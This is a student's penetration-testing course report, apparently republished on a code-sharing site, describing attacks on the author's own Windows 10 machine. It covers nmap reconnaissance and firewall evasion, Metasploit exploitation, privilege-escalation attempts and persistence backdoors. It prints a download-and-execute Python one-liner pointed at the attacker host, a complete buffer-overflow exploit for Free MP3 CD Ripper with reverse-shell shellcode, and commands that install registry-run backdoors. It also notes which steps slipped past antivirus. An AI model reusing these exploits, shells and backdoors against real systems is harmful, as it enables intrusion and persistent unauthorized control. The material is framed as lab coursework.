20165230田坤燁網絡對抗免考報告_基於WIN10的滲透攻擊


簡單信息收集

主機發現

ping

  • 通過ping 命令發送ICMP報文的方法檢測WIN10主機是否在線

  • 能收到回復包,證明主機在線,並能相互通信

nmap

nmap -sn

  • 用來探測活躍主機

這個命令會發送arp請求包探測目標ip是否在線,如果有arp回復包,則說明在線。此命令可以探測目標主機是否在線,如果在線,還可以得到其MAC地址。但是不會探測其開放的端口號。

端口掃描

nmap

nmap -sS

TCP SYN 掃描(-sS)
這是Nmap默認的掃描方式,通常被稱作半開放掃描。該方式發送SYN到目標端口,如果收到SYN/ACK回復,那么可以判斷端口是開放的;如果收到RST包,說明該端口是關閉的。如果沒有收到回復,那么可以判斷該端口被屏蔽了。因為該方式僅發送SYN包對目標主機的特定端口,但不建立完整的TCP連接,所以相對比較隱蔽,而且效率比較高,適用范圍廣。

  • 結果顯示為filtered,nmap不能夠決定端口的開放狀態,這主要是由於網絡或者主機安裝了一些防火牆所導致的。當nmap收到icmp報文主機不可達報文或者目標主機無應答,常常會將目標主機的狀態設置為filtered。

  • 把防火牆關閉試一下,可以看見主機開啟的端口有135/139/443/445/902/912

OS及服務版本探測

nmap -sV

  • 通過nmap -sV 192.168.43.38掃描物理機,-sV是參數,命令nmap對目標進行端口對應相關應用程序進行掃描

繞過防火牆嘗試

誘餌

這種類型的掃描是非常隱蔽且無法察覺。目標由多個假冒或偽造IP地址進行掃描。這樣防火牆就會認為攻擊或掃描是通過多個資源或IP地址進行,於是就繞過了防火牆。
這實際上在目標看來是由多個系統同時掃描,這使得防火牆更難追查掃描的來源。

  • 通過nmap –D decoy1,decoy2,decoy3 target來嘗試欺騙防火牆

隨機數據長度

附加隨機數據長度,我們也可以繞過防火牆。許多防火牆通過檢查數據包的大小來識別潛伏中的端口掃描。這是因為許多掃描器會發送具有特定大小的數據包。為了躲避那種檢測,我們可以使用命令–data-length增加額外的數據,以便與默認大小不同。在下圖中,我們通過加入25多個字節改變數據包大小。

  • 通過nmap --data-length 25 192.168.43.38命令進行隨機數據長度嘗試

隨機順序掃描目標

選項–randomize-host用於隨機 順序掃描指定目標。–randomize-host有助於防止因連續 掃描多個目標而防火牆和入侵檢測系統檢測到。

  • 通過nmap --randomize-hosts 192.168.43.38

MAC地址欺騙

每台機器都有自己獨特的mac地址。因此這也是繞過防火牆的另一種方法,因為某些防火牆是基於MAC地址啟用規則的。為了獲得掃描結果,需要先了解哪些MAC地址可以使用。這可以通過手動或先進的模糊測試完成。
特別是–spoof-MAC選項能夠從一個特定的供應商選擇一個MAC地址,選擇一個隨機的MAC地址,或者設定您所選擇的特定MAC地址。 MAC地址欺騙的另一個優點是,讓掃描隱蔽,實際MAC地址就不會出現在防火牆的日志文件。

  • 通過nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target命令

實現win10的滲透攻擊

CVE-2017-0199(失敗)

漏洞原理

  • 該漏洞利用OFFICE OLE對象鏈接技術,將包裹的惡意鏈接對象嵌在文檔中,OFFICE調用URL Moniker(COM對象)將惡意鏈接指向的HTA文件下載到本地, 當用戶打開包含嵌入式漏洞的文檔時,winword.exe 會向遠程服務器發出 HTTP 請求,以檢索惡意 HTA 文件,服務器返回的文件時一個帶有嵌入式惡意腳本的假 RTF 文件,winword.exe 通過 COM 對象查找 application/hta 的文件處理程序,這會導致 Microsoft HTA 應用程序(mshta.exe),加載惡意攻擊者下載並執行包含 PowerShell 命令的 Visual Basic 腳本。

實現過程

  1. 下載cve-2017-0199.rtf:git clone https://github.com/bhdresh/CVE-2017-0199.git
  2. 此命令將運行一個python腳本來生成富文本格式的有效載荷,其中-M用於生成rtf文件,-w用於生成rtf文件的名稱,即sales.rtf, -u為攻擊者的IP地址或域名。
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc

  1. exploit.rtf放到win10靶機中
    在我們將這個文件發送給被攻擊者之前,我們需要將它嵌套到任何后門文件中,以便我們可以建立與被攻擊者的反向連接。
  2. 進入msfconsole執行監聽:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
msf exploit(handler )> set lhost 192.168.43.14
msf exploit(handler )> set lport 5230
msf exploit(handler )> exploit
  1. 失敗

EasyFileSharing模塊(失敗)

攻擊過程

  1. search 具體EasyFileSharing模塊

  2. 具體操作

use exploit/windows/http/easyfilesharing_post
show options
set lhost 192.168.43.14
set lport 5230
set rhosts 192.168.43.38
set rport 80
exploit

  • 失敗

msf web_delivery模塊攻擊(成功)

攻擊原理

  • 此模塊支持在本地監聽一個端口,別人一旦訪問該端口就會將該端口內的文件讀取至本地執行(把webshell放在該端口下剛剛好)
  • 有兩種利用方式:
    • 1.命令注入漏洞:
      在命令行注入:生成的命令
    • 2.遠程文件包含漏洞:
      在包含漏洞處包含:生成的網址

攻擊過程

  1. search web_delivery

  2. 具體過程

use exploit/multi/script/web_delivery
show options
set lhost 192.168.43.14
set lport 5230

exploit

  • 可以看見生成payload:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
  • 復制payload到Win10上面運行
  • 返回kali攻擊機,已經反彈回了一個session
  • 輸入命令sessions -i 3進入,成功獲取了目標機

CVE-2019-9766(成功)

漏洞原理

  • Free MP3 CD Ripper是一款音頻格式轉換器。Free MP3 CD Ripper 2.6版本中存在棧緩沖區溢出漏洞。遠程攻擊者可借助特制的.mp3文件利用該漏洞執行任意代碼

攻擊過程

  • 靶機:Win10

  • 利用msf生成反向連接的shellcode,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest

  • 替換腳本中的shellcode.

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x84\x20\xe4\x66"

nops = "\x90" * 5

buf = ""

buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"


原理解釋

  • 關鍵代碼:填充+nseh+seh+nop+shellcode

  • 填充:數據覆蓋直到函數返回地址

    • nseh : next seh 指示下一個seh結構的位置,在這里使用"\xeb\x06\x90\x90"填充是一個通用的填充方法,這四個字節反匯編的結果是 jmp 6 nop nop這樣三條指令,原因是jmp 6個字節剛好繞過兩個nop指令和一個4字節的seh處理程序的地址,落入nop指令區,然后滑行進入shellcode

    • seh : seh處理程序地址部分填入的是一個指向pop pop ret 這樣連續三條指令的一個地址,這樣填充原因是,在異常出現時,先保存當前棧定,然后系統會在棧里面壓入兩個參數,所以兩個pop是pop出來系統壓的參數,然后ret到nseh的位置,接着開始執行指令,然后參考上面nseh的數據介紹就可以。

  • 2.運行腳本,生成惡意mp3文件,python FmcrExploit.py

  • 3.移動惡意文件到靶機windows10上

  • 4.打開msf並設置監聽

  • 在主機上打開Free MP3 CD Ripper軟件

  • 回連成功!

進行提權

普通提權

  • 獲取會話后通過命令getsystem進行提權,顯示沒有權限

利用系統漏洞

  • 可以利用metasploit下已有的提權漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。

ms16_032

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set lport 5230
set session 3
exploit
  • 失敗

powerup命令行提權

  • 通常,在Windows下面我們可以通過內核漏洞來提升權限,但是,我們常常會碰到所處服務器通過內核漏洞提權是行不通的,這個時候,我們就需要通過脆弱的Windows服務提權,比如我們替換掉服務所依賴的DLL文件,當服務重啟時,加載我們替換的DLL文件從而完成比如添加管理員賬號的操作。或者通過常見的Mssql,Mysql等服務,通過其繼承的系統權限來完成提權等等,使用Powershell框架-Powerup,此框架可以在內核提權行不通的時候,幫助我們尋找服務器脆弱點進而通過脆弱點實現提權的目的。
  1. 首先需要下載此腳本:Powerup,之后加載此腳本:
powershell.exe -nop -exec bypass
Import-Module .\powerup.psm1

  • 加載完成以后,便可以使用Powerup中的所有模塊,通過如下命令可以查看所有模塊: Get-Command -Module powerup
  1. 首先添加低權限測試賬號,使用管理員身份運行cmd,添加測試賬號: C:\Windows\system32>net user powerup 1 /add
  2. 執行Invoke-AllChecks:PS C:\> Invoke-AllChecks

繞過UAC進行提權

  • 查看bypassuac的模塊

  • (1)首先需要在meterpreter下執行background命令讓當前會話保存到后台。

  • (2)使用sessions命令可以查看所有后台的會話,每個session對應一個id值,后面會經常用到。

  • (3)主要使用三個模塊

  1. exploit/windows/local/bypassuac
  2. exploit/windows/local/bypassuac_injection_winsxs
  3. exploit/windows/local/bypassuac_sluihijack
  • 一個一個的嘗試,具體過程如下
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
  • 失敗1。。。。
  • 失敗2。。。
  • 失敗3.。。。。

后門

  • Meterpreter的shell運行在內存中,目標重啟就會失效,如果管理員給系統打上補丁,那么就沒辦法再次使用exploit獲取權限,所以需要持久的后門對目標進行控制。
    Msf提供了兩種后門,一種是metsvc(通過服務啟動),一種是persistence(支持多種方式啟動)。

metsvc

  • (1)run metsvc

  • (2)命令運行成功后會在C:WindowsTEMP目錄下新建隨機名稱的文件夾,里面生成3個文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

  • 同時會新建一個服務,顯示名稱為Meterpreter,服務名稱為metsvc,啟動類型為”自動”,綁定在31337端口。

  • (3) 連接后門
    使用exploit/multi/handler模塊,payload設置為windows/metsvc_bind_tcp,設置目標ip和綁定端口31337。

persistence

 使用run persistence -h查看參數。
-A:安裝后門后,自動啟動exploit/multi/handler模塊連接后門
-L:自啟動腳本的路徑,默認為%TEMP%
-P:需要使用的payload,默認為windows/meterpreter/reverse_tcp
-S:作為一個服務在系統啟動時運行(需要SYSTEM權限)
-T:要使用的備用可執行模板
-U:用戶登陸時運行
-X:系統啟動時運行
-i:后門每隔多少秒嘗試連接服務端
-p:服務端監聽的端口
-r:服務端ip
  • 在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
    在注冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啟動項

  • (1)生成后門
    命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14

  • 查看其修改的鍵值

  • (2)連接后門

  • 使用exploit/multi/handler模塊,payload設置為windows/meterpreter/reverse_tcp,同時設置好服務端監聽ip和端口。

  • 下次重啟電腦時,可以保持會話

心得體會

  • 這次實踐的靶機用了自己的win10電腦,每一次嘗試攻擊都讓我覺得心驚膽戰,中途360報了好幾次中了木馬,我還不敢隔離,害怕自己之前做出的成果被刪,導致無法分析。期間遇到了很多問題,去網上聽了很多滲透測試分析課,也看了無數篇資料,當看到kali里返回了win10的shell的時候,心里真的很滿足!
  • 先從信息收集開始,如果靶機開了防火牆,基本nmap的所有命令都無法獲得有效的信息。於是嘗試很多方法去實現繞過防火牆的信息收集,但簡單的nmap命令還是沒能成功,需要借助其他的工具來幫助繞過。然后是對win10實現滲透攻擊,中途嘗試了很多CVE漏洞,很多win10都已經補上了補丁,還有一些經過了版本更新,最終找到了一個MP3軟件的緩沖區溢出漏洞和一個msf中的下載模塊,獲得shell的時候360沒有報出有木馬,mp3文件也沒有被刪除,可以達到免殺的目的。在獲取shell的基礎上,還想要進行更多的操作,進行后滲透攻擊,如提權和再次使用exploit獲取權限,需要持久的后門對目標進行控制。提權的過程中也遇到了很多問題,嘗試了很多方法,找了很多提權漏洞,有很多漏洞是作為一個獨立的步驟進行攻擊,但不是在獲得win10shell的基礎上通過一系列指令而達到提權的目的,而通過一系列的命令來實現提權又難以實現,需要在這個課題上進一步的進行研究和嘗試。安裝后門的過程比較順利,可以維持訪問,但被360發現系統自啟動項鍵值被修改,這一步沒有實現免殺。
  • 通過完整的滲透測試,讓我對網絡攻防有了更加深入的理解和掌握。整個過程就是在理清思路的基礎上不斷的嘗試新的方法,達到自己的目的。學習的方法就在於此,每一次學習都應該先理清思路,重要的不是跟着步驟一步一步做完,而是知道要做什么,為什么要這樣做,這樣做會有什么結果,以及還有什么別的方法可以得到同樣的結果。在這個過程也提高了發現問題,分析問題和解決問題的能力。
  • 網絡安全是一個很大的課題,每一年都有成千上萬個系統漏洞被白帽子們發現,被黑客攻擊,被不法分子利用,如今我所掌握的知識都只是一點皮毛,要想真正做到會攻擊也會防攻擊,還需要走很長很長的路。在此謝謝老師對我課題的指導和幫助,我將在以后的學習中進一步的研究和嘗試,不斷完善自己不斷提高自己。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM